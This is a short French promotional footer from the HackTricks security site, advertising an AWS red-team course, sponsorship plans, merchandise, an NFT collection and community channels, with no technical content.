Apprenez le hacking AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! Autres moyens de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs * **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** * **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).